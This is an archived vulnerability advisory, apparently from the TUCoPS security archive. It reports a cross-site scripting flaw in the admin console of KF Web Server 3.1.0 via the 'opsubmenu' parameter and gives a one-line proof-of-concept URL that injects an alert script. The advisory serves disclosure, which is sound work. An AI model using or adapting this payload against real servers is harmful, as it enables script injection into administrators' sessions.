Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Servers :: tb11407.htm

KF Web Server 3.1.0 admin console XSS



KF Web Server 3.1.0 admin console XSS
KF Web Server 3.1.0 admin console XSS



KF Web Server 3.1.0 admin console XSS
--------------------------------------
site:http://www.keyfocus.net/kfws/ 

parameter:opsubmenu

poc
---
http://127.0.0.1:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript% 

3Ealert('xss');%3C/script%3E

bug found by: Shay Priel aka Prili - imprili@gmail.com 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH